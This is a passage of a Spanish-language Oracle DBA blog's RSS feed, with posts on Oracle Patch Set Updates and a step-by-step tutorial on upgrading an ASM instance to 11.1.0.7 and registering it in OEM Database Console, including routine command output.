10.2.0.4             PSU 10.2.0.4.1&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Si bien les he mostrado los pasos a seguir, esto no debe ser considerado un reemplazo del procedimiento formal indicado en el archivo &lt;i&gt;Readme.html&lt;/i&gt; que acompaña a este &lt;b&gt;PSU&lt;/b&gt;, hay procedimientos especiales para &lt;b&gt;RAC&lt;/b&gt; por ejemplo, así que a ir leyendo la documentación y haciendo las pruebas del caso para que finalmente lo apliquen en sus ambientes de producción, suerte!&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/07/patch-set-updates.html"&gt;Patch Set Update&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/cloning-oracle-home-directory.html"&gt;De como un clon nos puede ayudar con un Patch&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/07/instalacion-patch-set-update-psu.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOn0CjwvICs27m7wZEgJ9DAvcxaoULk_4HoMKwj6O9PQptgHFeBBkEmSHymMe6kMGS2Y5jb85mIfgKgbLWzA_sHFNEboTqY529AJisbeMZxG6_MzPWJ-eeL79rhYCJdfdAB5lzr3HeoMiZ/s72-c/PSU.jpg" width="72"/><thr:total>7</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-5926633495002880143</guid><pubDate>Tue, 07 Jul 2009 22:05:00 +0000</pubDate><atom:updated>2009-09-02T11:14:21.980-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">patching</category><title>Patch Set Updates</title><description>&lt;div&gt;Oracle acaba de hacer público en &lt;i&gt;My Oracle Support&lt;/i&gt;, mediante el &lt;i&gt;Note &lt;b&gt;850471.1&lt;/i&gt;&lt;/b&gt;, que a partir de Julio y de forma trimestral, estará liberando un conjunto de &lt;i&gt;patches&lt;/i&gt; recomendados a los que se conocerá como &lt;b&gt;&lt;i&gt;Patch Set Update&lt;/i&gt;&lt;/b&gt; o &lt;i&gt;PSU&lt;/i&gt;. Los &lt;i&gt;PSU&lt;/i&gt; son acumulativos y su aplicación origina un cambio en la versión a nivel del quinto número, es decir, el primer &lt;i&gt;PSU&lt;/i&gt; para Oracle 10.2.0.4 originará que tengamos una instalación con versión &lt;b&gt;10.2.0.4.1&lt;/b&gt;, el siguiente &lt;i&gt;PSU&lt;/i&gt; será &lt;b&gt;10.2.0.4.2&lt;/b&gt; y así en adelante.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;Se anuncia que el primer &lt;i&gt;PSU&lt;/i&gt; estará disponible para 10.2.0.4 exclusivamente, en las principales plataformas con excepción de Windows, donde seguirán distribuyéndose los conocidos &lt;b&gt;&lt;i&gt;Bundle Patches&lt;/i&gt;&lt;/b&gt; (&lt;i&gt;Note &lt;b&gt;161549.1&lt;/b&gt; Oracle Database Server and Networking Patches for Microsoft Platforms&lt;/i&gt;). Oracle indica que los &lt;i&gt;PSU&lt;/i&gt; contendrán los &lt;b&gt;&lt;i&gt;Critical Patch Updates&lt;/i&gt;&lt;/b&gt; o &lt;i&gt;CPU&lt;/i&gt;, pero que éstos seguirán estando disponibles de forma que se podrá elegir entre instalar el &lt;i&gt;PSU&lt;/i&gt; o simplemente el &lt;i&gt;CPU&lt;/i&gt;; lo que no queda claro es si los &lt;i&gt;PSU&lt;/i&gt; serán un reemplazo de los &lt;b&gt;&lt;i&gt;Recommended Patches&lt;/b&gt;&lt;/i&gt; (&lt;i&gt;Note &lt;b&gt;756671.1&lt;/b&gt; Oracle Recommended Patches – Oracle database&lt;/i&gt;) que ya desde hace algún tiempo nos permiten obtener los &lt;i&gt;patches&lt;/i&gt; recomendados para Oracle 10.2.0.3 en adelante.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Más allá del enredo en los nuevos términos y sus abreviaturas, la introducción de los &lt;i&gt;PSU&lt;/i&gt; prometen simplificar la labor de &lt;i&gt;patching&lt;/i&gt; pues ataca los &lt;i&gt;bugs&lt;/i&gt; que han sido identificados como críticos, que han impactado a un gran número de clientes, cuyos &lt;i&gt;fixes&lt;/i&gt; ya han sido probados en los clientes y que no involucran cambios severos en la funcionalidad de Oracle ni cambios de configuración, y si se tiene &lt;b&gt;&lt;i&gt;RAC&lt;/b&gt;&lt;/i&gt; no es necesario suspender todo el servicio pues se puede aplicar en cada nodo por separado, mientras los demás siguen operando, habilidad conocida como &lt;b&gt;&lt;i&gt;Rolling Patching&lt;/i&gt;&lt;/b&gt;, ¿qué más podemos pedir? Así que a estar atentos, el primer &lt;i&gt;PSU&lt;/i&gt; estará disponible este &lt;b&gt;14 de Julio de 2009&lt;/b&gt; y los siguientes el martes más cercano al 15 de Enero, Abril, Julio y Octubre.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/07/instalacion-patch-set-update-psu.html"&gt;Primer PSU ya está disponible, instalémoslo!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/07/patch-set-updates.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-208189200796310522</guid><pubDate>Thu, 09 Apr 2009 21:07:00 +0000</pubDate><atom:updated>2009-09-02T11:18:21.415-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ASM</category><title>Actualizando ASM y registrándolo en OEM</title><description>&lt;div&gt;Con este &lt;b&gt;Post&lt;/b&gt; ponemos fin a la serie dedicada a &lt;b&gt;&lt;i&gt;ASM&lt;/i&gt;&lt;/b&gt;, recapitulando: hemos visto cómo instalar el software y cómo crear una instancia &lt;i&gt;ASM&lt;/i&gt;, para luego proceder a migrar la base de datos de forma manual y usando &lt;i&gt;OEM Database Console&lt;/i&gt;, pues bien ahora veremos el procedimiento a seguir para realizar un &lt;b&gt;&lt;i&gt;upgrade&lt;/i&gt;&lt;/b&gt; a &lt;i&gt;ASM&lt;/i&gt; y cómo hacer para registrar esta instancia para que sea administrable desde &lt;i&gt;OEM Database Console&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;I. Upgrade de &lt;i&gt;ASM&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Partiremos del supuesto que tenemos &lt;b&gt;&lt;i&gt;ASM&lt;/i&gt; 10.2.0.1&lt;/b&gt; con &lt;i&gt;ORACLE_HOME=/u01/app/oracle/product/10.2.0/db_1&lt;/i&gt; y que queremos actualizar a &lt;b&gt;&lt;i&gt;ASM&lt;/i&gt; 11.1.0.7&lt;/b&gt;, con &lt;i&gt;ORACLE_HOME=/u01/app/oracle/product/11.1.0/db_2&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1.&lt;/span&gt; Debemos &lt;b&gt;detener&lt;/b&gt; la instancia &lt;i&gt;ASM&lt;/i&gt; pero esto no es posible sin que primero hagamos lo mismo con las bases de datos que la están usando.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? &lt;span style="color: red;"&gt;orcl&lt;/span&gt;
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.1.0 - Production on Wed Feb 4 00:13:11 2009

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

SYS@orcl&amp;gt; shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? &lt;span style="color: red;"&gt;+ASM&lt;/span&gt;
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.1.0 - Production on Wed Feb 4 00:15:13 2009

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

SYS@+ASM&amp;gt; shutdown immediate
ASM diskgroups dismounted
ASM instance shutdown.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2.&lt;/span&gt; Antes de actualizar &lt;i&gt;ASM&lt;/i&gt; se requiere que &lt;i&gt;Oracle Cluster Synchronization Services&lt;/i&gt; (&lt;i&gt;CCS&lt;/i&gt;) esté configurado para ejecutarse desde el nuevo &lt;i&gt;Oracle Home&lt;/i&gt;, para ello debemos ejecutar lo siguiente con el usuario &lt;b&gt;root&lt;/b&gt;:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania]# cd /u01/app/oracle/product/11.1.0/db_2/bin
[root@urania bin]# ./localconfig reset
Successfully accumulated necessary OCR keys.
Creating OCR keys for user 'root', privgrp 'root'..
Operation successful.
Configuration for local CSS has been initialized
Stale CSS daemon is running... killing it now
Cleaning up Network socket directories
Setting up Network socket directories
Adding to inittab
Startup will be queued to init within 30 seconds.
Checking the status of new Oracle init process...
Expecting the CRS daemons to be up within 600 seconds.
Cluster Synchronization Services is active on these nodes.
        urania
Cluster Synchronization Services is active on all the nodes.
Oracle CSS service is installed and running under init(1M)&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3.&lt;/span&gt; Es &lt;b&gt;altamente recomendable&lt;/b&gt; que el &lt;i&gt;listener &lt;/i&gt;en uso sea el que corresponde al &lt;i&gt;home&lt;/i&gt; de &lt;i&gt;ASM&lt;/i&gt;, por lo que podemos copiar los archivos de configuración (listener.ora, sqlnet.ora) desde el &lt;i&gt;home inicial&lt;/i&gt; hacia el &lt;i&gt;nuevo home&lt;/i&gt; e iniciar &lt;b&gt;desde allí&lt;/b&gt; el &lt;i&gt;listener&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ export ORACLE_HOME=/u01/app/oracle/product/11.1.0/db_2
[oracle@urania ~]$ $ORACLE_HOME/bin/lsnrctl start

LSNRCTL for Linux: Version 11.1.0.7.0 - Production on 04-FEB-2009 00:52:53

Copyright (c) 1991, 2008, Oracle.  All rights reserved.

Starting /u01/app/oracle/product/11.1.0/db_2/bin/tnslsnr: please wait...

TNSLSNR for Linux: Version 11.1.0.7.0 - Production
System parameter file is /u01/app/oracle/product/11.1.0/db_2/network/admin/listener.ora
Log messages written to /u01/app/oracle/diag/tnslsnr/urania/listener/alert/log.xml
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=urania.localdomain)(PORT=1521)))

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=urania.localdomain)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 11.1.0.7.0 - Production
Start Date                04-FEB-2009 00:52:54
Uptime                    0 days 0 hr. 0 min. 0 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /u01/app/oracle/product/11.1.0/db_2/network/admin/listener.ora
Listener Log File         /u01/app/oracle/diag/tnslsnr/urania/listener/alert/log.xml
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=urania.localdomain)(PORT=1521)))
Services Summary...
Service "orcl.localdomain" has 1 instance(s).
  Instance "orcl", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;4.&lt;/span&gt; El &lt;i&gt;upgrade&lt;/i&gt; lo realizaremos con el utilitario &lt;i&gt;DBUA&lt;/i&gt;, pero debemos tener cuidado de invocar el que corresponde a la &lt;b&gt;nueva&lt;/b&gt; versión de ASM, que para nuestro ejemplo es la &lt;i&gt;11.1.0.7&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ $ORACLE_HOME/bin/dbua&lt;/pre&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgT9979cR_E3Xn7kpFGvAAhnPfGNsYEm33hZid1mnB0atbcGINAW-7ca-RJ_p6oWBBS_Jk-5jF2qDzVfP3vauGEzAEKthDDtftkPlv8sIKW7jRXvZOvJVEIYI9tKnaxd05yJBMN7qXnexTF/s1600-h/upgrade.asm.0.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgT9979cR_E3Xn7kpFGvAAhnPfGNsYEm33hZid1mnB0atbcGINAW-7ca-RJ_p6oWBBS_Jk-5jF2qDzVfP3vauGEzAEKthDDtftkPlv8sIKW7jRXvZOvJVEIYI9tKnaxd05yJBMN7qXnexTF/s400/upgrade.asm.0.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;5.&lt;/span&gt; Se nos ofrece una bienvenida, la cual aceptamos y se nos presenta la alternativa de: actualizar una base de datos, o actualizar &lt;i&gt;ASM&lt;/i&gt;, escogemos &lt;b&gt;actualizar &lt;i&gt;ASM&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB3qxJAM_uXXf7LL1QVJcoIwvKRx1pLjflO6aRs5MZMcM2y49obJyPPaOinQRXXCil53qje0cHqD3zTDXKM38vT5RZ1CrLtIqXOv34WudENOPhgQTlXsjFwDBYRTRKudOZh6nkTCGwR-IH/s1600-h/upgrade.asm.1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB3qxJAM_uXXf7LL1QVJcoIwvKRx1pLjflO6aRs5MZMcM2y49obJyPPaOinQRXXCil53qje0cHqD3zTDXKM38vT5RZ1CrLtIqXOv34WudENOPhgQTlXsjFwDBYRTRKudOZh6nkTCGwR-IH/s400/upgrade.asm.1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;6.&lt;/span&gt; Aparece un resumen de la actualización que se estará realizando, misma que aceptamos al presionar [&lt;i&gt;Finish&lt;/i&gt;].&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMzl8oX64aGlJoxNfLnA-avM4xv1vneseDvJLcRMtLJr_fIQ66P9qk5jU-FMLLyLtLmp3OzNvI23TOInjEd5Ckzfc5HFBemiCQx2tCljEsU3qyH3a-6W1pg4i5C409GOxThEWEr-Pffy1j/s1600-h/upgrade.asm.2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMzl8oX64aGlJoxNfLnA-avM4xv1vneseDvJLcRMtLJr_fIQ66P9qk5jU-FMLLyLtLmp3OzNvI23TOInjEd5Ckzfc5HFBemiCQx2tCljEsU3qyH3a-6W1pg4i5C409GOxThEWEr-Pffy1j/s400/upgrade.asm.2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;7.&lt;/span&gt; El proceso de &lt;i&gt;upgrade&lt;/i&gt; se inicia y luego de unos instantes se nos notifica de su conclusión.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjiGJ6bBH4h75ZNZpA5ardBuKG2ee_Xrgftm46B4JjXHiPPpe7WCIBT5UVBxr2Fe4wCrJswEcL9nQZ5mirSUVwxCJnt6Cx0VDwBH0_B4kxzv-jHyrGoTuYibg7RtSIeh4kP1O4lUntZPGi/s1600-h/upgrade.asm.3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjiGJ6bBH4h75ZNZpA5ardBuKG2ee_Xrgftm46B4JjXHiPPpe7WCIBT5UVBxr2Fe4wCrJswEcL9nQZ5mirSUVwxCJnt6Cx0VDwBH0_B4kxzv-jHyrGoTuYibg7RtSIeh4kP1O4lUntZPGi/s400/upgrade.asm.3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;8.&lt;/span&gt; Finalmente se nos presenta un resumen de lo actuado, con referencia a los logs generados, para su eventual inspección.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHQfx522vkzJeaUAyoovDUWXhD4pema9rlLZJNKK0_nkZ4Egya5H9KW0Btaei0n-yX9j_eAucHLggEY3vo9HjB8RLi6Ug_KWs25KbRXsXk8GFuaJJEzGDsFWoYx09Tj1s0OaPFTDZLn8vW/s1600-h/upgrade.asm.4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHQfx522vkzJeaUAyoovDUWXhD4pema9rlLZJNKK0_nkZ4Egya5H9KW0Btaei0n-yX9j_eAucHLggEY3vo9HjB8RLi6Ug_KWs25KbRXsXk8GFuaJJEzGDsFWoYx09Tj1s0OaPFTDZLn8vW/s400/upgrade.asm.4.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;9.&lt;/span&gt; Con &lt;i&gt;ASM&lt;/i&gt; ya actualizado podemos proceder a iniciar la instancia &lt;i&gt;ASM&lt;/i&gt; y las bases de datos asociadas.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? &lt;span style="color: red;"&gt;+ASM&lt;/span&gt;
The Oracle base for ORACLE_HOME=/u01/app/oracle/product/11.1.0/db_2 is /u01/app/oracle
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Wed Feb 4 01:35:31 2009

Copyright (c) 1982, 2008, Oracle.  All rights reserved.

Connected to an idle instance.

SYS@+ASM&amp;gt; startup
ASM instance started

Total System Global Area  284565504 bytes
Fixed Size                  1312896 bytes
Variable Size             258086784 bytes
ASM Cache                  25165824 bytes
ASM diskgroups mounted&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? &lt;span style="color: red;"&gt;orcl&lt;/span&gt;
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.1.0 - Production on Wed Feb 4 01:37:13 2009

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

SYS@orcl&amp;gt; startup;
ORACLE instance started.

Total System Global Area  318046208 bytes
Fixed Size                  1313120 bytes
Variable Size             180356768 bytes
Database Buffers          130023424 bytes
Redo Buffers                6352896 bytes
Database mounted.
Database opened.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;b&gt;¡Tarea concluída!&lt;/b&gt; Tenemos la base de datos &lt;i&gt;10gR2&lt;/i&gt; operando sobre una nueva instancia &lt;i&gt;ASM 11gR1&lt;/i&gt;, pero aún nos falta algo más: administrar la instancia &lt;i&gt;ASM&lt;/i&gt; desde OEM Database Console.&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;II. Registrando &lt;i&gt;ASM&lt;/i&gt; en &lt;i&gt;OEM Database Console&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Esta es la típica presentación de &lt;i&gt;Database Console&lt;/i&gt;, misma que nos permite administrar la base de datos.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmaOWStsK76ZtOMclb00LZpn7vCouh5mPD1q__I6TRIwSIJi9f0hMVzRoIK9ZmOwUJsj7v95Ka0LGEEPvaslR_WtbgkMmTZVHEi-Ul6UXXeMdzk3OBPlHznvn_seTJK4kTpw_Fomwn0P9W/s1600-h/oem.asm.11g.15.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmaOWStsK76ZtOMclb00LZpn7vCouh5mPD1q__I6TRIwSIJi9f0hMVzRoIK9ZmOwUJsj7v95Ka0LGEEPvaslR_WtbgkMmTZVHEi-Ul6UXXeMdzk3OBPlHznvn_seTJK4kTpw_Fomwn0P9W/s400/oem.asm.11g.15.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Para incluir la instancia &lt;i&gt;ASM&lt;/i&gt; debemos &lt;b&gt;reconfigurar&lt;/b&gt; &lt;i&gt;OEM&lt;/i&gt; siguiendo estos pasos:&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1.&lt;/span&gt; Desconfiguramos OEM para que ya no tenga registrada a la base de datos.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ emca -deconfig dbcontrol db

STARTED EMCA at Feb 4, 2009 9:19:19 AM
EM Configuration Assistant, Version 11.1.0.7.0 Production
Copyright (c) 2003, 2005, Oracle.  All rights reserved.

Enter the following information:
Database SID: &lt;span style="color: red;"&gt;orcl&lt;/span&gt;

Do you wish to continue? [yes(Y)/no(N)]: &lt;span style="color: red;"&gt;Y&lt;/span&gt;
Feb 4, 2009 9:19:28 AM oracle.sysman.emcp.EMConfig perform
INFO: This operation is being logged at /u01/app/oracle/cfgtoollogs/emca/orcl/emca_2009_02_04_09_19_19.log.
Feb 4, 2009 9:19:30 AM oracle.sysman.emcp.util.DBControlUtil stopOMS
INFO: Stopping Database Control (this may take a while) ...
Enterprise Manager configuration completed successfully
FINISHED EMCA at Feb 4, 2009 9:20:34 AM&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2.&lt;/span&gt; Configuramos nuevamente &lt;i&gt;OEM&lt;/i&gt; y notaremos que en adición a los datos relativos a la instancia de la base de datos, ahora también nos solicitará información sobre la instancia &lt;i&gt;ASM&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ emca -config dbcontrol db

STARTED EMCA at Feb 4, 2009 9:24:59 AM
EM Configuration Assistant, Version 11.1.0.7.0 Production
Copyright (c) 2003, 2005, Oracle.  All rights reserved.

Enter the following information:
Database SID: &lt;span style="color: red;"&gt;orcl&lt;/span&gt;
Listener port number: &lt;span style="color: red;"&gt;1521&lt;/span&gt;
Password for SYS user:
Password for DBSNMP user:
Password for SYSMAN user:
Password for SYSMAN user: 
Email address for notifications (optional):
Outgoing Mail (SMTP) server for notifications (optional):
ASM ORACLE_HOME [ /u01/app/oracle/product/11.1.0/db_2 ]:
ASM SID [ +ASM ]:
ASM port [ 1521 ]:
ASM user role [ SYSDBA ]:
ASM username [ SYS ]:
ASM user password:
-----------------------------------------------------------------

You have specified the following settings

Database ORACLE_HOME ................ /u01/app/oracle/product/11.1.0/db_2

Local hostname ................ urania.localdomain
Listener port number ................ 1521
Database SID ................ orcl
Email address for notifications ...............
Outgoing Mail (SMTP) server for notifications ...............
ASM ORACLE_HOME ................ /u01/app/oracle/product/11.1.0/db_2
ASM SID ................ +ASM
ASM port ................ 1521
ASM user role ................ SYSDBA
ASM username ................ SYS

-----------------------------------------------------------------
Do you wish to continue? [yes(Y)/no(N)]: &lt;span style="color: red;"&gt;Y&lt;/span&gt;
Feb 4, 2009 9:26:04 AM oracle.sysman.emcp.EMConfig perform
INFO: This operation is being logged at /u01/app/oracle/cfgtoollogs/emca/orcl/emca_2009_02_04_09_24_59.log.
Feb 4, 2009 9:26:13 AM oracle.sysman.emcp.EMReposConfig uploadConfigDataToRepository
INFO: Uploading configuration data to EM repository (this may take a while) ...
Feb 4, 2009 9:30:14 AM oracle.sysman.emcp.EMReposConfig invoke
INFO: Uploaded configuration data successfully
Feb 4, 2009 9:30:20 AM oracle.sysman.emcp.util.DBControlUtil configureSoftwareLib
INFO: Software library is already configured.
Feb 4, 2009 9:30:20 AM oracle.sysman.emcp.util.DBControlUtil configureSoftwareLib
INFO:  EM_SWLIB_STAGE_LOC (value) will be ignored.
Feb 4, 2009 9:30:20 AM oracle.sysman.emcp.EMDBPostConfig configureSoftwareLibrary
INFO: Deploying Provisioning archives ...
Feb 4, 2009 9:30:37 AM oracle.sysman.emcp.EMDBPostConfig configureSoftwareLibrary
INFO: Provisioning archives deployed successfully.
Feb 4, 2009 9:30:37 AM oracle.sysman.emcp.util.DBControlUtil secureDBConsole
INFO: Securing Database Control (this may take a while) ...
Feb 4, 2009 9:30:55 AM oracle.sysman.emcp.util.DBControlUtil secureDBConsole
INFO: Database Control secured successfully.
Feb 4, 2009 9:30:55 AM oracle.sysman.emcp.util.DBControlUtil startOMS
INFO: Starting Database Control (this may take a while) ...
Feb 4, 2009 9:32:19 AM oracle.sysman.emcp.EMDBPostConfig performConfiguration
INFO: Database Control started successfully
Feb 4, 2009 9:32:20 AM oracle.sysman.emcp.EMDBPostConfig performConfiguration
INFO: &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; The Database Control URL is https://urania.localdomain:5500/em &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;
Feb 4, 2009 9:32:32 AM oracle.sysman.emcp.EMDBPostConfig invoke
WARNING:
************************  WARNING  ************************

Management Repository has been placed in secure mode wherein Enterprise Manager
data will be encrypted.  The encryption key has been placed in the file:
/u01/app/oracle/product/11.1.0/db_2/urania.localdomain_orcl/sysman/config/emkey.ora.
Please ensure this file is backed up as the encrypted data will become unusable
if this file is lost.

***********************************************************
Enterprise Manager configuration completed successfully
FINISHED EMCA at Feb 4, 2009 9:32:32 AM&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Concluído esto ahora notaremos que finalmente se incluye el &lt;i&gt;link&lt;/i&gt; a la instancia &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
